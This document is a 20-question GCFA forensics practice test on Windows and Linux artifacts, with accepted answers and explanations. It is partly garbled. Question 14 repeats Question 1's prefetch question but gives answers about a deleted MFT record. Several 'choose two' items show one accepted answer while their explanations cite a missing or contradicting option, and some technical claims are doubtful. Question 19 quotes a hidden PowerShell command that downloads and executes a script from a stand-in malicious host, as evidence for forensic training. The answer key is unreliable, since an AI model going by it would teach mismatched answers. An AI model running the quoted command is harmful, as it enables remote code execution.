GCFA Practice Test 5 — 25 Questions

Question 1

An investigator is examining a Windows 10 system and finds a prefetch file named 'POWERSHELL.EXE-12345678.pf' in the C:\Windows\Prefetch folder. What is the primary forensic value of this artifact?

Accepted Answer

It confirms that PowerShell was executed and provides the last execution time and number of times run.. The correct answer is that the prefetch file confirms execution and provides last execution time and run count. Prefetch files are created by the Windows Prefetcher to optimize application startup, and they include metadata such as the last run time and number of executions. This makes them a key artifact for determining if an executable like PowerShell was run, and when.

Answer

It contains the full command-line arguments used when PowerShell was launched.

Answer

It indicates that PowerShell was installed as a service on the system.

Answer

It provides a list of all files accessed by PowerShell during its execution.

Question 2

A forensic analyst is examining a Linux ext4 file system and wants to determine when a file's metadata (such as permissions or ownership) was last changed. Which timestamp should they examine?

Accepted Answer

ctime. On Linux ext4, ctime is updated when file metadata changes, such as permissions or ownership. mtime reflects content changes, atime reflects access, and btime is creation time. Therefore, ctime is the correct timestamp to determine when metadata was last altered.

Answer

atime

Answer

btime

Answer

mtime

Question 3

An analyst is triaging a Linux server and finds a process whose /proc/<pid>/exe symlink points to /tmp/.kwork, and whose parent process is the legitimate cron daemon. The file is owned by root but has no package ownership record. Which interpretation is most appropriate?

Accepted Answer

The process is likely malicious persistence launched by cron from a non-standard, unmanaged path.. An unmanaged root-owned binary in /tmp executed by cron indicates an attacker added a scheduled job to launch a dropped payload. The kernel-thread-style name is a masquerade, since real kernel threads have no on-disk executable. Investigators should dump the crontab entries, hash the binary, and review /var/log/cron and auth logs for the insertion window.

Answer

This is a legitimate kernel worker thread that cron spawned during routine maintenance.

Answer

The process is a normal systemd service that was forked by cron after a unit reload.

Answer

The process is a containerized workload placed in /tmp by the container runtime.

Question 4

During a Windows 10 intrusion investigation, an analyst uses fls on a raw NTFS image and observes that for a suspicious executable, the $FILE_NAME creation timestamp is 2023-08-10 14:22:01, while the $STANDARD_INFORMATION creation timestamp is 2023-08-10 14:22:01 as well, but the $STANDARD_INFORMATION modified timestamp is 2023-08-10 14:22:01 and the $FILE_NAME modified timestamp is 2023-08-10 14:22:01. However, the $MFT record header's last modification time (the MFT entry itself) is 2023-08-10 14:25:33. What is the most likely explanation for the discrepancy between the MFT record modification time and the file's timestamps?

Accepted Answer

The file's attributes or MFT record structure were modified at 14:25:33, such as a change in the $DATA attribute or the addition of an alternate data stream, without altering the $STANDARD_INFORMATION or $FILE_NAME timestamps.. The MFT record header contains a timestamp that reflects when the MFT entry itself was last modified, which can occur independently of the file's $STANDARD_INFORMATION and $FILE_NAME timestamps. Operations such as adding an alternate data stream, resizing the $DATA attribute, or changing the file's name can update the MFT record header without altering the timestamps stored in the attributes. Thus, the discrepancy indicates a change to the MFT record structure, not a simple file access or copy.

Answer

The system clock was changed at 14:25:33, causing the MFT record header to be updated while the file timestamps remained unchanged.

Answer

The file was accessed at 14:25:33, and the NTFS file system updates the MFT record header on every access.

Answer

The file was copied into the directory at 14:22:01, and the MFT record was later updated at 14:25:33 due to a backup operation.

Question 5

An analyst is reviewing a memory dump from a Windows 10 system using Volatility 3. The analyst runs 'vol.py -f memory.dmp windows.netscan' and observes a TCP connection with a state of 'ESTABLISHED' between the local IP 10.0.0.5:49152 and a remote IP 203.0.113.45:443. The process associated with this connection is 'chrome.exe' (PID 1234). Which of the following should the analyst do next to determine if this connection is malicious?

Accepted Answer

Correlate the remote IP with threat intelligence feeds and examine the process memory for injected code or unusual strings.. When a network connection from a legitimate process like chrome.exe is observed, it is not inherently malicious. The analyst must gather more evidence. Correlating the remote IP with threat intelligence can indicate if it is known malicious. Examining the process memory for injected code or unusual strings can reveal if the process has been compromised. This combination provides a stronger basis for determining the nature of the connection.

Answer

Check the system's DNS cache for the remote IP to see if it resolves to a known domain, which would confirm whether the connection is benign.

Answer

Immediately block the remote IP at the firewall and terminate the chrome.exe process, as an established connection to an external IP on port 443 is highly suspicious.

Answer

Run 'vol.py -f memory.dmp windows.dlllist --pid 1234' to list all loaded DLLs and check for any unsigned or suspicious modules.

Question 6

During an enterprise incident response, you are tasked with collecting volatile evidence from a compromised Windows workstation. Which two of the following are considered best practices for preserving volatile data? (Choose two.)

Accepted Answer

Run 'netstat -ano' to record active network connections and associated process IDs.. Capturing physical memory and recording active network connections are both essential for preserving volatile evidence. Memory contains running processes, encryption keys, and injected code, while netstat reveals current network activity that may indicate command-and-control or lateral movement. These steps should be performed before any action that alters the system state, such as shutdown or disconnection.

Answer

Immediately shut down the system to prevent further malicious activity and then create a forensic image of the hard drive.

Answer

Use a write blocker when connecting the hard drive to a forensic workstation to create a bit-for-bit image.

Answer

Disconnect the workstation from the network before capturing any volatile data to prevent data leakage.

Question 7

An analyst is investigating a suspected malware infection on a Windows Server 2016 system. The analyst reviews the Security event log and finds multiple Event ID 4688 entries for a process named 'svchost.exe' with a command line containing ' -k netsvcs -p -s Schedule'. The analyst wants to determine whether this is a legitimate service host process or a masquerading attempt. Which artifact should the analyst examine next to verify the integrity and origin of the executable?

Accepted Answer

The digital signature of the svchost.exe file. Verifying the digital signature of the executable is the most direct way to confirm whether svchost.exe is the legitimate Microsoft binary. A valid signature from Microsoft indicates the file is authentic and unmodified, while an invalid or missing signature suggests masquerading. Other artifacts like Prefetch, $MFT, and SRUM provide contextual information but do not verify integrity and origin.

Answer

The SRUM database entry for svchost.exe

Answer

The $MFT record for the svchost.exe file

Answer

The Prefetch file for svchost.exe

Question 8

You are reviewing a Windows 10 host for evidence of process execution. A suspect binary was deleted from disk, but you need to prove it actually ran. Which artifact provides the strongest evidence that the specific executable was launched, independent of any prefetch or shimcache entries?

Accepted Answer

Security event 4688 with the New Process Name field populated for the binary. Event ID 4688 is generated by the Windows auditing subsystem at the instant a process is created, capturing the new process image path and, when command-line auditing is enabled, the full command line. Unlike ShimCache or Amcache, which can be populated by file presence or scanning, 4688 only appears when execution occurs, so it independently proves the suspect binary was launched.

Answer

A Prefetch file (.pf) containing the binary's name and run count in C:\Windows\Prefetch

Answer

The Amcache.hve entry containing the binary's SHA-1 hash and path

Answer

The AppCompatCache (ShimCache) entry for the binary in the SYSTEM hive

Question 9

During an enterprise incident response, you need to collect volatile evidence from a compromised Windows server that is still powered on. The server is business-critical and cannot be taken offline. Which of the following is the most appropriate order for collecting volatile data, according to RFC 3227 guidelines?

Accepted Answer

Collect the contents of physical memory, then network connections, then running processes, then disk.. The order of volatility dictates that the most perishable evidence be collected first. Physical memory and network connections are extremely volatile; running processes are less so but still change; disk is least volatile. Therefore, memory should be captured first, followed by network connections, then processes, and finally disk. This minimizes loss of evidence.

Answer

Collect network connections, then disk, then memory, then running processes.

Answer

Collect the disk image first to preserve the most evidence, then memory, then network connections.

Answer

Collect running processes, then disk, then memory, then network connections.

Question 10

During an incident response engagement, you need to establish a timeline of adversary activity on a compromised Windows server. Which data source is most appropriate for correlating user logon events, service installations, and process executions?

Accepted Answer

Windows Event Logs. Windows Event Logs are the most comprehensive source for correlating diverse activities such as logons, service installations, and process executions. They provide a centralized, timestamped record that can be analyzed to reconstruct a timeline of adversary actions across the system, making them indispensable for incident response.

Answer

Registry hives

Answer

Prefetch files

Answer

File system metadata (MAC times)

Question 11

An incident responder is analyzing a compromised Windows 10 workstation. The attacker used a technique to execute code in the context of a legitimate process by injecting a malicious DLL into it. Which of the following Windows artifacts would BEST provide evidence of this specific technique?

Accepted Answer

Memory dumps of the injected process. DLL injection leaves artifacts in the memory of the target process. Analyzing a memory dump with forensic tools can reveal injected DLLs, often by identifying memory regions with executable permissions that are not backed by a file on disk, or by finding DLLs not listed in the process's module list. This provides direct evidence of the technique.

Answer

Windows Event Logs (Security.evtx)

Answer

Shimcache

Answer

Prefetch files

Question 12

An analyst is reviewing Windows Event Logs from a compromised workstation. The analyst observes Event ID 4688 (Process Creation) with the field 'Creator Process Name' showing 'C:\Windows\System32\cmd.exe' and the new process name showing 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'. Which of the following best describes what this event indicates?

Accepted Answer

A process named cmd.exe spawned a PowerShell process, which could indicate scripted or malicious activity.. Event ID 4688 includes the creator process name and new process name. In this case, cmd.exe created powershell.exe, indicating a parent-child relationship that is often seen in malicious scripts, such as those that use PowerShell for download or execution. While it could be benign, it is a suspicious pattern that should be investigated further. The other options either assume benign user action, introduce unsupported context, or reverse the relationship.

Answer

The system automatically started a PowerShell process as part of a scheduled task.

Answer

PowerShell was used to execute a command that created cmd.exe.

Answer

A user manually opened a command prompt and then launched PowerShell.

Question 13

During an investigation of a compromised Windows host, you review the Security event log and find Event ID 4624 with Logon Type 3. The account name is a domain service account, and the source network address is an internal server. You need to determine whether this represents a legitimate service authentication or an attacker using the account for lateral movement. Which additional event log detail is most critical to examine?

Accepted Answer

The Logon Process and Authentication Package fields in the 4624 event. For a Logon Type 3 event, the Logon Process and Authentication Package fields reveal the mechanism used. A service account authenticating via its normal service process and package looks routine; the same account authenticating with an unexpected package or from an unusual logon process suggests credential theft and lateral movement. The other fields support correlation but do not distinguish method as directly.

Answer

The Security ID (SID) of the account in the 4624 event

Answer

The Logon GUID field in the 4624 event

Answer

The Process ID and Process Name fields in the 4624 event

Question 14

An investigator is examining a Windows 10 system and finds a prefetch file named 'POWERSHELL.EXE-12345678.pf' in the C:\Windows\Prefetch folder. What is the primary forensic value of this artifact?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

The file was deleted, and the resident data stream was zeroed during deletion or by subsequent system activity while the MFT entry itself was not yet reused.. A deleted NTFS file often leaves its MFT record intact until reallocation, with $FILE_NAME still referencing the parent directory. Zeroed resident $DATA indicates the content was cleared during or after deletion, not that the record was reused. Analysts should treat the entry as evidence of a deletion event and avoid claiming recoverability of the data stream from this record alone.

Answer

The file is a sparse file whose allocated ranges were trimmed by the NTFS compression engine, leaving a valid $FILE_NAME with empty content.

Answer

The file was moved to a different directory, causing NTFS to clear the $DATA attribute and retain the $FILE_NAME attribute as a tombstone.

Answer

The MFT record was reallocated to a new file, which overwrote only the $DATA attribute while preserving the $FILE_NAME attribute.

Question 15

An enterprise incident response team is preparing to conduct a forensic investigation on a compromised Linux server. The server is still running and cannot be taken offline. Which TWO of the following commands are appropriate for collecting volatile network connection information while minimizing disruption to the system? (Choose two.)

Accepted Answer

netstat -antp. netstat and ss are standard tools for capturing volatile network connection information on a live Linux system. Both provide details on active connections, listening ports, and associated processes without generating new traffic or causing significant system disruption. They are commonly used in incident response to document the current network state before further analysis.

Answer

nmap -sS 127.0.0.1

Answer

lsof -i

Answer

tcpdump -i any -w capture.pcap

Question 16

During an enterprise incident response involving a compromised Windows server, you need to acquire volatile evidence in a forensically sound manner. Which TWO of the following actions should be performed first to preserve the most volatile data? (Choose two.)

Accepted Answer

Capture the contents of physical memory (RAM) using a tool like WinPmem or DumpIt.. The order of volatility dictates that physical memory and active network connections are the most perishable. Capturing RAM preserves running processes and encryption keys, while recording network connections captures transient command-and-control activity. These two actions must be performed first to prevent loss of critical evidence before moving to less volatile sources like disk images or event logs.

Answer

Export the Windows Event Logs to a secure location.

Answer

Take screenshots of the desktop and open applications.

Answer

Create a forensic image of the system drive using FTK Imager or dd.

Question 17

An organization's incident response plan includes a requirement to maintain chain of custody for all digital evidence. A security analyst collects a USB drive from a compromised workstation. Which of the following is the MOST critical action to perform to ensure the evidence is admissible in a court of law?

Accepted Answer

Document the collection details, including date, time, location, and collector's name.. Chain of custody is a legal concept that documents the seizure, custody, control, transfer, analysis, and disposition of evidence. Proper documentation from the moment of collection is crucial to prove that the evidence has not been tampered with. This documentation includes details such as date, time, location, collector, and any transfers. Without it, the evidence may be deemed inadmissible.

Answer

Store the USB drive in a secure, locked cabinet with limited access.

Answer

Create a forensic image of the USB drive using a write-blocker.

Answer

Analyze the USB drive immediately to identify the attacker.

Question 18

During an enterprise incident, you discover that an attacker modified the Windows event log service to record only selected events, effectively hiding malicious activity. Which Windows artifact should you analyze first to determine what modifications were made to the logging configuration?

Accepted Answer

The SYSTEM registry hive, specifically the EventLog service key.. The EventLog service configuration is stored in the SYSTEM registry hive, making it the definitive source for determining if an attacker altered logging settings. Other artifacts like event logs themselves or file system metadata may provide indirect clues, but they do not contain the configuration details needed to identify what was changed. Examining the SYSTEM hive allows responders to see exactly which logs were enabled or disabled.

Answer

The NTFS $LogFile for the volume containing the event logs.

Answer

The Application event log for service control manager events.

Answer

The Security event log (EVTX) for event ID 1102.

Question 19

An incident responder is analyzing a compromised Windows server and suspects that an attacker used a scheduled task to maintain persistence. The responder runs 'schtasks /query /fo LIST /v' and sees a task named 'Updater' with a trigger set to run every hour. The task's action is 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/script.ps1')"'. Which of the following best describes the attacker's technique?

Accepted Answer

The attacker is using a scheduled task to download and execute a PowerShell script from a remote server, which is a form of fileless malware and persistence.. The scheduled task runs a hidden PowerShell command that downloads and executes a remote script using Invoke-Expression. This is a fileless persistence technique because the payload is not written to disk and the task ensures recurring execution. The responder should treat this as a serious compromise, investigate the remote URL, and check for similar tasks on other systems.

Answer

The attacker is using a scheduled task to run a PowerShell script that is already stored locally on the server, which indicates a previous compromise.

Answer

The attacker is using a scheduled task to run a PowerShell script that is signed by a trusted publisher, which bypasses application whitelisting.

Answer

The attacker is using a scheduled task to execute a PowerShell script that is embedded in the task's action, which is a form of obfuscation.

Question 20

An incident responder is investigating a compromised Windows server. The attacker gained access via a Remote Desktop Protocol (RDP) brute-force attack and then created a new local user account for persistence. The responder needs to identify evidence of the newly created account and any subsequent logon activity. Which TWO of the following Windows artifacts should the responder examine to find this evidence? (Choose two.)

Accepted Answer

SAM registry hive. The Security event log records account creation (4720) and logon events (4624), providing a timeline of the attacker's actions. The SAM registry hive stores the local account database, including the new account's details, and can be analyzed even if logs are cleared. Together, they offer direct evidence of the new account and its use, which is critical for understanding the persistence mechanism.

Answer

Application event log (Event ID 1000)

Answer

System event log (Event ID 7045)

Answer

Prefetch files